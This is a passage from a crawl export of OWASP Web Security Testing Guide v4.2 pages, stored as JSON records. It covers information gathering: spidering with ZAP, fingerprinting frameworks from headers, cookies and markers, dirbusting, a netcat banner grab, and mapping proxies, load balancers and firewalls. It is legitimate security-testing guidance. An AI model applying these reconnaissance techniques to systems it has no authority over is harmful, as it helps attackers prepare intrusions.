PARAMETERS={id=name=id, paramType=QUERY_STRING, dataType=STRING, class=name=class, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/api/v1/mobile_controller.rb (lines '8'-'13')\n[39] GET: / (0 variants): PARAMETERS={url=name=url, paramType=QUERY_STRING, dataType=STRING}; FILE=/app/controllers/sessions_controller.rb (lines '6'-'9')\nGenerated 40 distinct endpoints with 0 variants for a total of 40 endpoints\nSuccessfully validated serialization for these endpoints\n0 endpoints were missing code start line\n0 endpoints were missing code end line\n0 endpoints had the same code start and end line\nGenerated 36 distinct parameters\nGenerated 36 total parameters\n- 36/36 have their data type\n- 0/36 have a list of accepted values\n- 36/36 have their parameter type\n--- QUERY_STRING: 35\n--- SESSION: 1\nFinished endpoint detection for '<...>/railsgoat'\n----------\n-- DONE --\n0 projects had duplicate endpoints\nGenerated 40 distinct endpoints\nGenerated 40 total endpoints\nGenerated 36 distinct parameters\nGenerated 36 total parameters\n1/1 projects had endpoints generated\nTo enable logging include the -debug argument\n```\n\nYou can also generate a JSON output file using the `-json` flag, which can be used by the plugin to both ZAP and Burp Suite. See the following links for more details.\n\n- [Home of ASD Plugin for OWASP ZAP](https://github.com/secdec/attack-surface-detector-zap/wiki)\n- [Home of ASD Plugin for PortSwigger Burp](https://github.com/secdec/attack-surface-detector-burp/wiki)\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n- [Burp Suite](https://www.portswigger.net/burp/)\n- [Fiddler](https://www.telerik.com/fiddler)\n\n## References\n\n- [RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1](https://tools.ietf.org/html/rfc2616)\n- [OWASP Attack Surface Detector](https://owasp.org/www-project-attack-surface-detector/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 13072, "slov": 1818, "odkazu": 188, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:53", "sha256": "dc033554a10b190880d44f7086c3bbf9d6cab351079626ae326fc336de7a77cb", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/secdec/attack-surface-detector-cli/releases", "https://github.com/OWASP/railsgoat", "https://github.com/secdec/attack-surface-detector-zap/wiki", "https://github.com/secdec/attack-surface-detector-burp/wiki", "https://www.zaproxy.org/", "https://www.portswigger.net/burp/", "https://www.telerik.com/fiddler", "https://tools.ietf.org/html/rfc2616", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Map Execution Paths Through Application"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Code Review"}, {"uroven": 3, "text": "Automatic Spidering"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Map Execution Paths Through Application\n\n| ID |\n| --- |\n| WSTG-INFO-07 |\n\n## Summary\n\nBefore commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlikely that it will be tested thoroughly.\n\n## Test Objectives\n\n- Map the target application and understand the principal workflows.\n\n## How to Test\n\nIn black-box testing it is extremely difficult to test the entire codebase. Not just because the tester has no view of the code paths through the application, but even if they did, to test all code paths would be very time consuming. One way to reconcile this is to document what code paths were discovered and tested.\n\nThere are several ways to approach the testing and measurement of code coverage:\n\n- **Path** - test each of the paths through an application that includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.\n- **Data Flow (or Taint Analysis)** - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.\n- **Race** - tests multiple concurrent instances of the application manipulating the same data.\n\nThe trade off as to what method is used and to what degree each method is used should be negotiated with the application owner. Simpler approaches could also be adopted, including asking the application owner what functions or code sections they are particularly concerned about and how those code segments can be reached.\n\nTo demonstrate code coverage to the application owner, the tester can start with a spreadsheet and document all the links discovered by spidering the application (either manually or automatically). Then the tester can look more closely at decision points in the application and investigate how many significant code paths are discovered. These should then be documented in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered.\n\n### Code Review\n\nEnsuring sufficient code coverage for the application owner is far easier with gray-box and white-box approach to testing. Information solicited by and provided to the tester will ensure the minimum requirements for code coverage are met.\n\nMany modern Dynamic Application Security Testing (DAST) tools facilitate the use of a web server agent or could be paired with a third-party agent to monitor web application coverage specifics.\n\n### Automatic Spidering\n\nThe automatic spider is a tool used to automatically discover new resources (URLs) on a particular website. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, the following example uses the [Zed Attack Proxy (ZAP)](https://github.com/zaproxy/zaproxy):\n\n*Figure 4.1.7-1: Zed Attack Proxy Screen*\n\n[ZAP](https://github.com/zaproxy/zaproxy) offers various automatic spidering options, which can leveraged based on the tester’s needs:\n\n- [Spider](https://www.zaproxy.org/docs/desktop/start/features/spider/)\n- [AJAX Spider](https://www.zaproxy.org/docs/desktop/addons/ajax-spider/)\n- [OpenAPI Support](https://www.zaproxy.org/docs/desktop/addons/openapi-support/)\n\n## Tools\n\n- [Zed Attack Proxy (ZAP)](https://github.com/zaproxy/zaproxy)\n- [List of spreadsheet software](https://en.wikipedia.org/wiki/List_of_spreadsheet_software)\n- [Diagramming software](https://en.wikipedia.org/wiki/List_of_concept-_and_mind-mapping_software)\n\n## References\n\n- [Code Coverage](https://en.wikipedia.org/wiki/Code_coverage)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3755, "slov": 500, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:54", "sha256": "47362bff49485a65977dc678de752c524c1e92fc1332f55a4e5ae04e91f8661a", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/zaproxy/zaproxy", "https://www.zaproxy.org/docs/desktop/start/features/spider/", "https://www.zaproxy.org/docs/desktop/addons/ajax-spider/", "https://www.zaproxy.org/docs/desktop/addons/openapi-support/", "https://en.wikipedia.org/wiki/List_of_spreadsheet_software", "https://en.wikipedia.org/wiki/List_of_concept-_and_mind-mapping_software", "https://en.wikipedia.org/wiki/Code_coverage", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Fingerprint Web Application Framework"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "HTTP Headers"}, {"uroven": 4, "text": "Cookies"}, {"uroven": 4, "text": "HTML Source Code"}, {"uroven": 3, "text": "Specific Files and Folders"}, {"uroven": 4, "text": "File Extensions"}, {"uroven": 4, "text": "Error Messages"}, {"uroven": 2, "text": "Common Identifiers"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 3, "text": "HTML Source Code"}, {"uroven": 4, "text": "General Markers"}, {"uroven": 4, "text": "Specific Markers"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "WhatWeb"}, {"uroven": 3, "text": "Wappalyzer"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Fingerprint Web Application Framework\n\n| ID |\n| --- |\n| WSTG-INFO-08 |\n\n## Summary\n\nThere is nothing new under the sun, and nearly every web application that one may think of developing has already been developed. With the vast number of free and Open Source software projects that are actively developed and deployed around the world, it is very likely that an application security test will face a target that is entirely or partly dependent on these well known applications or frameworks (e.g. WordPress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested significantly helps in the testing process and will also drastically reduce the effort required during the test. These well known web applications have known HTML headers, cookies, and directory structures that can be enumerated to identify the application. Most of the web frameworks have several markers in those locations which help an attacker or tester to recognize them. This is basically what all automatic tools do, they look for a marker from a predefined location and then compare it to the database of known signatures. For better accuracy several markers are usually used.\n\n## Test Objectives\n\n- Fingerprint the components being used by the web applications.\n\n## How to Test\n\n### Black-Box Testing\n\nThere are several common locations to consider in order to identify frameworks or components:\n\n- HTTP headers\n- Cookies\n- HTML source code\n- Specific files and folders\n- File extensions\n- Error messages\n\n#### HTTP Headers\n\nThe most basic form of identifying a web framework is to look at the `X-Powered-By` field in the HTTP response header. Many tools can be used to fingerprint a target, the simplest one is netcat.\n\nConsider the following HTTP Request-Response:\n\n```\n$ nc 127.0.0.1 80\nHEAD / HTTP/1.0\n\nHTTP/1.1 200 OK\nServer: nginx/1.0.14\n[...]\nX-Powered-By: Mono\n```\n\nFrom the `X-Powered-By` field, we understand that the web application framework is likely to be `Mono`. However, although this approach is simple and quick, this methodology doesn’t work in 100% of cases. It is possible to easily disable `X-Powered-By` header by a proper configuration. There are also several techniques that allow a web site to obfuscate HTTP headers (see an example in the Remediation section). In the example above we can also note a specific version of `nginx` is being used to serve the content.\n\nSo in the same example the tester could either miss the `X-Powered-By` header or obtain an answer like the following:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.0.14\nDate: Sat, 07 Sep 2013 08:19:15 GMT\nContent-Type: text/html;charset=ISO-8859-1\nConnection: close\nVary: Accept-Encoding\nX-Powered-By: Blood, sweat and tears\n```\n\nSometimes there are more HTTP-headers that point at a certain framework. In the following example, according to the information from HTTP-request, one can see that `X-Powered-By` header contains PHP version. However, the `X-Generator` header points out the used framework is actually `Swiftlet`, which helps a penetration tester to expand their attack vectors. When performing fingerprinting, carefully inspect every HTTP-header for such leaks.\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.4.1\nDate: Sat, 07 Sep 2013 09:22:52 GMT\nContent-Type: text/html\nConnection: keep-alive\nVary: Accept-Encoding\nX-Powered-By: PHP/5.4.16-1~dotdeb.1\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nX-Generator: Swiftlet\n```\n\n#### Cookies\n\nAnother similar and somewhat more reliable way to determine the current web framework are framework-specific cookies.\n\nConsider the following HTTP-request:\n\n*Figure 4.1.8-7: Cakephp HTTP Request*\n\nThe cookie `CAKEPHP` has automatically been set, which gives information about the framework being used. A list of common cookie names is presented in Cookies section. Limitations still exist in relying on this identification mechanism - it is possible to change the name of cookies. For example, for the selected `CakePHP` framework this could be done via the following configuration (excerpt from `core.php`):\n\n```\n/**\n* The name of CakePHP's session cookie.\n*\n* Note the guidelines for Session names states: \"The session name references\n* the session id in cookies and URLs. It should contain only alphanumeric\n* characters.\"\n* @link http://php.net/session_name\n*/ Configure::write('Session.cookie', 'CAKEPHP'); \n```\n\nHowever, these changes are less likely to be made than changes to the `X-Powered-By` header, so this approach to identification can be considered as more reliable.\n\n#### HTML Source Code\n\nThis technique is based on finding certain patterns in the HTML page source code. Often one can find a lot of information which helps a tester to recognize a specific component. One of the common markers are HTML comments that directly lead to framework disclosure. More often certain framework-specific paths can be found, i.e. links to framework-specific CSS or JS folders. Finally, specific script variables might also point to a certain framework.\n\nFrom the screenshot below one can easily learn the used framework and its version by the mentioned markers. The comment, specific paths and script variables can all help an attacker to quickly determine an instance of ZK framework.\n\n*Figure 4.1.8-2: ZK Framework HTML Source Sample*\n\nFrequently such information is positioned in the `` section of HTTP responses, in `` tags, or at the end of the page. Nevertheless, entire responses should be analyzed since it can be useful for other purposes such as inspection of other useful comments and hidden fields. Sometimes, web developers do not care much about hiding information about the frameworks or components used. It is still possible to stumble upon something like this at the bottom of the page:\n\n*Figure 4.1.8-3: Banshee Bottom Page*\n\n### Specific Files and Folders\n\nThere is another approach which greatly helps an attacker or tester to identify applications or components with high accuracy. Every web component has its own specific file and folder structure on the server. It has been noted that one can see the specific path from the HTML page source but sometimes they are not explicitly presented there and still reside on the server.\n\nIn order to uncover them a technique known as forced browsing or “dirbusting” is used. Dirbusting is brute forcing a target with known folder and filenames and monitoring HTTP-responses to enumerate server content. This information can be used both for finding default files and attacking them, and for fingerprinting the web application. Dirbusting can be done in several ways, the example below shows a successful dirbusting attack against a WordPress-powered target with the help of defined list and intruder functionality of Burp Suite.\n\n*Figure 4.1.8-4: Dirbusting with Burp*\n\nWe can see that for some WordPress-specific folders (for instance, `/wp-includes/`, `/wp-admin/` and `/wp-content/`) HTTP responses are 403 (Forbidden), 302 (Found, redirection to `wp-login.php`), and 200 (OK) respectively. This is a good indicator that the target is WordPress powered. The same way it is possible to dirbust different application plugin folders and their versions. In the screenshot below one can see a typical CHANGELOG file of a Drupal plugin, which provides information on the application being used and discloses a vulnerable plugin version.\n\n*Figure 4.1.8-5: Drupal Botcha Disclosure*\n\nTip: before starting with dirbusting, check the `robots.txt` file first. Sometimes application specific folders and other sensitive information can be found there as well. An example of such a `robots.txt` file is presented on a screenshot below.\n\n*Figure 4.1.8-6: Robots Info Disclosure*\n\nSpecific files and folders are different for each specific application. If the identified application or component is Open Source there may be value in setting up a temporary installation during penetration tests in order to gain a better understanding of what infrastructure or functionality is presented, and what files might be left on the server. However, several good file lists already exist; one good example is [FuzzDB wordlists of predictable files/folders](https://github.com/fuzzdb-project/fuzzdb).\n\n#### File Extensions\n\nURLs may include file extensions, which can also help to identify the web platform or technology.\n\nFor example, the OWASP wiki used PHP:\n\n```\nhttps://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_Framework&action=edit§ion=4\n```\n\nHere are some common web file extensions and associated technologies:\n\n- `.php` – PHP\n- `.aspx` – Microsoft ASP.NET\n- `.jsp` – Java Server Pages\n\n#### Error Messages\n\nAs can be seen in the following screenshot the listed file system path points to use of WordPress (`wp-content`). Also testers should be aware that WordPress is PHP based (`functions.php`).\n\n*Figure 4.1.8-7: WordPress Parse Error*\n\n## Common Identifiers\n\n### Cookies\n\n| Framework | Cookie name |\n| --- | --- |\n| Zope | zope3 |\n| CakePHP | cakephp |\n| Kohana | kohanasession |\n| Laravel | laravel_session |\n| phpBB | phpbb3_ |\n| WordPress | wp-settings |\n| 1C-Bitrix | BITRIX_ |\n| AMPcms | AMP |\n| Django CMS | django |\n| DotNetNuke | DotNetNukeAnonymous |\n| e107 | e107_tz |\n| EPiServer | EPiTrace, EPiServer |\n| Graffiti CMS | graffitibot |\n| Hotaru CMS | hotaru_mobile |\n| ImpressCMS | ICMSession |\n| Indico | MAKACSESSION |\n| InstantCMS | InstantCMS[logdate] |\n| Kentico CMS | CMSPreferredCulture |\n| MODx | SN4[12symb] |\n| TYPO3 | fe_typo_user |\n| Dynamicweb | Dynamicweb |\n| LEPTON | lep[some_numeric_value]+sessionid |\n| Wix | Domain=.wix.com |\n| VIVVO | VivvoSessionId |\n\n### HTML Source Code\n\n| Application | Keyword |\n| --- | --- |\n| WordPress | `` |\n| phpBB | `` |\n| Joomla | `` |\n| Drupal | `` |\n| DotNetNuke | `DNN Platform - [http://www.dnnsoftware.com](http://www.dnnsoftware.com)` |\n\n#### General Markers\n\n- `%framework_name%`\n- `powered by`\n- `built upon`\n- `running`\n\n#### Specific Markers\n\n| Framework | Keyword |\n| --- | --- |\n| Adobe ColdFusion | `` |\n| Indexhibit | `ndxz-studio` |\n\n## Remediation\n\nWhile efforts can be made to use different cookie names (through changing configs), hiding or changing file/directory paths (through rewriting or source code changes), removing known headers, etc. such efforts boil down to “security through obscurity”. System owners/admins should recognize that those efforts only slow down the most basic of adversaries. The time/effort may be better used on stakeholder awareness and solution maintenance activities.\n\n## Tools\n\nA list of general and well-known tools is presented below. There are also a lot of other utilities, as well as framework-based fingerprinting tools.\n\n### WhatWeb\n\nWebsite: [https://github.com/urbanadventurer/WhatWeb](https://github.com/urbanadventurer/WhatWeb)\n\nCurrently one of the best fingerprinting tools on the market. Included in a default [Kali Linux](https://www.kali.org/) build. Language: Ruby Matches for fingerprinting are made with:\n\n- Text strings (case sensitive)\n- Regular expressions\n- Google Hack Database queries (limited set of keywords)\n- MD5 hashes\n- URL recognition\n- HTML tag patterns\n- Custom ruby code for passive and aggressive operations\n\nSample output is presented on a screenshot below:\n\n*Figure 4.1.8-8: Whatweb Output sample*\n\n### Wappalyzer\n\nWebsite: [https://www.wappalyzer.com/](https://www.wappalyzer.com/)\n\nWapplyzer is available in multiple usage models, the most popular of which is likely the Firefox/Chrome extensions. They work only on regular expression matching and doesn’t need anything other than the page to be loaded in browser. It works completely at the browser level and gives results in the form of icons. Although sometimes it has false positives, this is very handy to have notion of what technologies were used to construct a target website immediately after browsing a page.\n\nSample output of a plug-in is presented on a screenshot below.\n\n*Figure 4.1.8-9: Wappalyzer Output for OWASP Website*\n\n## References\n\n### Whitepapers\n\n- [Saumil Shah: “An Introduction to HTTP fingerprinting”](https://web.archive.org/web/20190526182734/https://net-square.com/httprint_paper.html)\n- [Anant Shrivastava : “Web Application Finger Printing”](https://anantshri.info/articles/web_app_finger_printing.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 12373, "slov": 1794, "odkazu": 186, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:55", "sha256": "ee43bc7ca53a2d3829cd6db65aa9c575546540f61dbb4ded6360c5d0b019458d", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/fuzzdb-project/fuzzdb", "https://github.com/urbanadventurer/WhatWeb", "https://www.kali.org/", "https://www.wappalyzer.com/", "https://net-square.com/httprint_paper.html", "https://anantshri.info/articles/web_app_finger_printing.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Fingerprint Web Application"}], "markdown": "# WSTG - v4.2\n\n# Fingerprint Web Application\n\n| ID |\n| --- |\n| WSTG-INFO-09 |\n\nThis content has been merged into: [Fingerprint Web Application Framework](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 374, "slov": 29, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:56", "sha256": "e088c9ae2349228f1764aadf5cfaebc55168ae219f096e4467a6039a0e06e007", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Map Application Architecture"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Map the Application Architecture"}], "markdown": "# WSTG - v4.2\n\n# Map Application Architecture\n\n| ID |\n| --- |\n| WSTG-INFO-10 |\n\n## Summary\n\nThe complexity of interconnected and heterogeneous web infrastructure can include hundreds of web applications and makes configuration management and review a fundamental step in testing and deploying every single application. In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application in the same infrastructure.\n\nTo address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues. Before performing an in-depth review it is necessary to map the network and application architecture. The different elements that make up the infrastructure need to be determined to understand how they interact with a web application and how they affect security.\n\n## Test Objectives\n\n- Generate a map of the application at hand based on the research conducted.\n\n## How to Test\n\n### Map the Application Architecture\n\nThe application architecture needs to be mapped through some test to determine what different components are used to build the web application. In small setups, such as a simple PHP application, a single server might be used that serves the PHP application, and perhaps also the authentication mechanism.\n\nOn more complex setups, such as an online bank system, multiple servers might be involved. These may include a reverse proxy, a front-end web server, an application server, and a database server or LDAP server. Each of these servers will be used for different purposes and might even be segregated in different networks with firewalls between them. This creates different network zones so that access to the web server will not necessarily grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated so that they will not compromise the whole architecture.\n\nGetting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.\n\nIn the latter case, a tester will first start with the assumption that there is a simple setup (a single server). Then they will retrieve information from other tests and derive the different elements, question this assumption, and extend the architecture map. The tester will start by asking simple questions such as: “Is there a firewall protecting the web server?”. This question will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachables are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced to determine the type of firewall used based on network packet tests. Is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed? Is it a full fledged web application firewall?\n\nDetecting a reverse proxy in front of the web server can be done by analysis of the web server banner, which might directly disclose the existence of a reverse proxy. It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as Intrusion Prevention Systems (IPS) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request that targets an unavailable page and returns a different error message for some common web attacks like those done by vulnerability scanners, it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between blocking them.\n\nIn some cases, even the protection system gives itself away. Here’s an example of mod_security self identifying:\n\n*Figure 4.1.10-1: Example mod_security Error Page*\n\nReverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based on the server header. They can also be detected by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.\n\nAnother element that can be detected is network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture element needs to be done by examining multiple requests and comparing results to determine if the requests are going to the same or different web servers. For example, based on the Date header if the server clocks are not synchronized. In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctly, like the BIGipServer prefixed cookie introduced by F5 BIG-IP load balancers.\n\nApplication web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by various J2EE servers), or to rewrite URLs automatically to do session tracking.\n\nAuthentication back ends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.\n\nThe use of a back end database can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly” it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back end. For example, an online shopping application that uses numeric identifiers (`id`) when browsing the different articles in the shop. However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7020, "slov": 1125, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:57", "sha256": "a0747a6a7f0e8bcc02f9bf09867ee4b441a6bbd04c10c6567e7e4052531a6f4a", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README", "titulek": "WSTG - v4.2 | OWASP 